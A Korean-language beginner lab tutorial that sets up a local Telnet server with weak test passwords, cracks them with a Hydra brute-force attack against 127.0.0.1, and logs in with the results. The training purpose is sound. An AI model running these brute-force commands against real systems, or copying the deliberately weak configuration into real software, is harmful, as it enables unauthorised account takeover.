Hydra 를 이용한 Telnet 서비스 공격

HydraBeginner
지금 연습하기

소개

이 랩에서는 다재다능한 비밀번호 크래킹 도구인 Hydra 를 사용하여 Telnet 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다. 취약한 Telnet 환경을 설정하고 Hydra 를 사용하여 약한 자격 증명이 어떻게 악용될 수 있는지 시연할 것입니다.

이 랩에서는 Telnet 서버 구성, 테스트 자격 증명 생성, 보안 위험을 강조하기 위한 Hydra 공격 실행을 다룹니다. 실습을 통해 Telnet 이 왜 안전하지 않은지 이해하고 암호화된 대안을 사용하는 것이 얼마나 중요한지 배우게 됩니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 97%입니다.학습자들로부터 99%의 긍정적인 리뷰율을 받았습니다.

로컬 Telnet 서버 설치

이 단계에서는 로컬 테스트 환경을 만들기 위해 LabEx VM 에 Telnet 서버를 설치합니다. Telnet 은 가장 오래된 네트워크 프로토콜 중 하나로, 시스템에 대한 원격 액세스를 허용합니다. 그러나 모든 데이터 (비밀번호 포함) 를 암호화 없이 일반 텍스트로 전송하므로 실제 사용에는 매우 안전하지 않지만 보안 테스트 개념을 배우는 데는 완벽합니다.

  1. 먼저, 최신 버전을 얻기 위해 패키지 목록을 업데이트합니다. 이는 새로운 소프트웨어를 설치하기 전에 좋은 습관입니다.
sudo apt update
  1. Telnet 서버 패키지 (xinetd) 를 설치합니다. Xinetd 는 Telnet 연결을 관리하는 슈퍼 서버입니다. -y 플래그는 설치 중 모든 프롬프트를 자동으로 확인합니다.
sudo apt install -y xinetd telnetd
  1. /etc/xinetd.d/telnet에 Telnet 구성 파일을 생성합니다. 대부분의 Linux 시스템에 포함된 간단한 텍스트 편집기인 nano 를 사용합니다.
sudo nano /etc/xinetd.d/telnet
  1. 다음 구성을 추가합니다 (저장하려면 Ctrl+O, 종료하려면 Ctrl+X). 이 구성은 Telnet 서비스를 활성화하고 기본 매개변수를 설정합니다. disable = no 줄은 특히 서비스 활성화에 중요합니다.
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. 변경 사항을 적용하기 위해 xinetd 서비스를 다시 시작합니다. 서비스는 구성 수정 후 다시 시작해야 하는 경우가 많습니다.
sudo service xinetd restart
  1. Telnet 서비스가 실행 중인지 확인합니다. 포트 23 은 Telnet 의 기본 포트입니다. netstat 명령은 활성 네트워크 연결 및 수신 포트를 표시합니다.
sudo netstat -tulnp
setup telnet server

다음과 유사한 출력이 표시되어야 하며, 이는 Telnet 서비스가 포트 23 에서 수신 대기 중임을 나타냅니다.

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

테스트 계정으로 Telnet 구성

이 단계에서는 Hydra 무차별 대입 공격 시연에 사용될 테스트 계정을 생성합니다. 이러한 계정은 실제 시스템에서 발견되는 일반적인 약한 자격 증명을 나타내며, 공격자가 열악한 비밀번호 관행을 어떻게 악용하는지 안전하게 시연할 수 있도록 합니다.

  1. 먼저, useradd 명령을 사용하여 세 개의 테스트 사용자 계정을 생성합니다. -m 플래그는 각 사용자에 대한 홈 디렉토리가 생성되도록 합니다.
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. 이제 이러한 계정에 간단한 비밀번호를 설정합니다. 실제 취약점을 시뮬레이션하기 위해 일반적인 약한 비밀번호 ('password', '123456', 'qwerty') 를 사용하고 있습니다. chpasswd 명령은 대화형 프롬프트 없이 안전하게 비밀번호를 변경합니다.
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. 시스템의 비밀번호 파일을 확인하여 계정이 성공적으로 생성되었는지 확인합니다. grep 명령은 모든 사용자 계정 정보를 저장하는 /etc/passwd에서 테스트 사용자를 필터링합니다.
grep -E 'user1|user2|user3' /etc/passwd

다음과 유사한 출력이 표시되어야 합니다.

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh
  1. 프로젝트 디렉토리에서 Hydra 공격을 위한 자격 증명 파일을 생성합니다. 이러한 텍스트 파일은 무차별 대입 시도 중에 Hydra 의 사용자 이름 및 비밀번호 조합에 대한 입력으로 사용됩니다.
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. 자격 증명 파일에 올바른 정보가 포함되어 있는지 확인합니다. cat 명령은 파일 내용을 표시합니다. Hydra 의 요구 사항에 맞는 형식을 보장하기 위해 두 파일을 모두 확인합니다.
cat usernames.txt && cat passwords.txt

다음과 같은 내용이 표시되어야 합니다.

user1
user2
user3
password
123456
qwerty

사용자 이름 및 비밀번호 파일 로드

이 단계에서는 Hydra 가 무차별 대입 공격에 사용할 자격 증명 파일을 준비합니다. 이러한 파일에는 이전 단계에서 생성한 사용자 이름과 비밀번호가 포함되어 있습니다. 무차별 대입 공격은 올바른 자격 증명이 발견될 때까지 가능한 모든 자격 증명 조합을 체계적으로 시도하여 작동합니다. 잘 정리된 자격 증명 파일을 사용하면 이 프로세스를 더욱 효율적으로 만들 수 있습니다.

  1. 먼저, 프로젝트 디렉토리에 자격 증명 파일이 있는지 확인합니다. Hydra 가 공격을 수행하려면 이러한 파일이 필요하므로 중요합니다.
cd ~/project
ls -l usernames.txt passwords.txt

다음과 유사한 출력이 표시되어야 합니다.

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. 두 파일의 내용을 확인하여 형식이 올바른지 확인합니다. Hydra 가 한 줄씩 읽으므로 각 사용자 이름과 비밀번호는 별도의 줄에 있어야 합니다.
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

예상 출력:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. 테스트 목적으로 결합된 자격 증명 파일을 생성합니다. 이 결합된 파일은 사용자 이름 - 비밀번호 쌍을 나란히 표시하여 올바르게 일치하는지 확인하는 데 도움이 됩니다.
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

다음과 같은 내용이 표시됩니다.

user1   password
user2   123456
user3   qwerty
  1. Hydra 가 아직 설치되지 않은 경우 설치합니다 (LabEx VM 에는 미리 설치되어 있어야 함). Hydra 는 Telnet 서비스에 대한 무차별 대입 공격을 수행하는 데 사용할 도구입니다.
sudo apt install -y hydra hydra-gtk
  1. Hydra 가 설치되었는지 확인하고 버전을 확인합니다. 버전을 이해하면 문제 해결 또는 특정 기능 검색에 도움이 됩니다.
hydra -h | head -n 5

Hydra 의 도움말 출력은 다음으로 시작해야 합니다.

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Telnet 서비스에 대한 Hydra 공격 실행

이 단계에서는 이전에 준비한 자격 증명 파일을 사용하여 로컬 Telnet 서버에 대한 무차별 대입 공격을 수행하기 위해 Hydra 를 사용합니다. Hydra 는 Telnet 을 포함한 여러 프로토콜을 지원하는 널리 사용되는 비밀번호 크래킹 도구입니다. 이 공격은 파일에서 모든 사용자 이름/비밀번호 조합을 체계적으로 시도합니다.

  1. 먼저, 자격 증명 파일이 저장된 프로젝트 디렉토리에 있는지 확인합니다. Hydra 가 이러한 파일에 액세스해야 하므로 중요합니다.
cd ~/project
  1. 이제 로컬 Telnet 서비스에 대해 Hydra 를 실행합니다 (127.0.0.1 은 자체 머신을 가리키는 루프백 주소입니다). -L 플래그는 사용자 이름 목록을 지정하고 -P 는 비밀번호 목록을 지정합니다.
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. Hydra 가 실행되면 실시간 진행 상황이 표시됩니다. 각 줄은 시도된 조합을 보여줍니다. 성공하면 다음과 같이 유효한 자격 증명이 표시됩니다.
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found
run hydra attack
  1. 문서화 또는 추가 분석을 위해 결과를 저장하려면 -o 플래그 뒤에 출력 파일 이름을 사용합니다.
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. 공격이 완료된 후 결과 파일을 확인하여 어떤 자격 증명이 작동했는지 확인할 수 있습니다.
cat hydra_results.txt

성공적인 로그인 시도를 보여주는 샘플 출력:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. 교육 목적으로 각 시도를 자세히 확인하고 싶을 수 있습니다. -vV 플래그는 자세한 모드를 활성화하여 Hydra 가 시도하는 모든 조합을 표시합니다.
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

자세한 출력은 다음과 같이 표시되어 실패 및 성공 시도를 모두 보여줍니다.

[VERBOSE] Attempting user1:password... [SUCCESS]

Telnet 공격 결과 확인

이 단계에서는 Telnet 서비스에 대한 Hydra 무차별 대입 공격의 결과를 분석하여 어떤 자격 증명이 손상되었는지 이해합니다. Hydra 는 서비스에 대해 여러 사용자 이름/비밀번호 조합을 테스트하며, 출력 파일에는 실패한 시도와 함께 모든 성공적인 로그인이 포함되어 있습니다.

  1. 먼저, Hydra 가 결과를 저장한 프로젝트 디렉토리로 이동하여 전체 출력 파일을 봅니다.
cd ~/project
cat hydra_results.txt

샘플 출력은 성공적인 로그인 형식을 보여줍니다. 각 줄에는 프로토콜 (telnet), 대상 IP 주소 및 크래킹된 자격 증명이 포함되어 있습니다.

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. 잠재적으로 큰 출력 파일에서 성공적인 로그인 시도만 필터링하려면 grep 을 사용하여 "login:"을 포함하는 줄을 찾습니다.
grep "login:" hydra_results.txt
  1. 발견된 자격 증명으로 수동 Telnet 로그인을 시도하여 손상된 계정을 확인합니다. 이는 Hydra 의 결과를 확인하고 공격자가 도난당한 자격 증명을 사용하는 방법을 보여줍니다.
telnet 127.0.0.1

로그인 프롬프트에서 다음을 입력합니다.

user1
password

성공적인 로그인은 서버 환영 메시지와 명령 프롬프트를 표시합니다.

Welcome to LabEx Telnet Server
user1@localhost:~$

테스트를 마쳤으면 exit를 입력하여 Telnet 세션을 종료합니다.

  1. 문서화를 위해 손상된 계정에 대한 전문적인 요약 보고서를 생성합니다. 이렇게 하면 서식이 지정된 결과와 개수가 포함된 새 파일이 생성됩니다.
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

요약

이 랩에서는 xinetd 와 취약한 자격 증명을 사용하여 보안 테스트 목적으로 취약한 Telnet 서버 환경을 설정하는 방법을 배웠습니다. 이 프로세스에는 포트 23 에서 Telnet 서비스를 구성하고 인증 취약성을 시연하기 위해 의도적으로 약한 비밀번호를 가진 테스트 계정을 만드는 작업이 포함되었습니다.

이 연습은 Telnet 과 같은 암호화되지 않은 프로토콜을 사용할 때의 보안 위험과 강력한 비밀번호 정책을 구현하는 것의 중요성을 강조했습니다. Hydra 를 사용한 실질적인 시연을 통해 약한 인증 메커니즘을 가진 시스템이 무차별 대입 공격에 의해 얼마나 쉽게 손상될 수 있는지 관찰했습니다.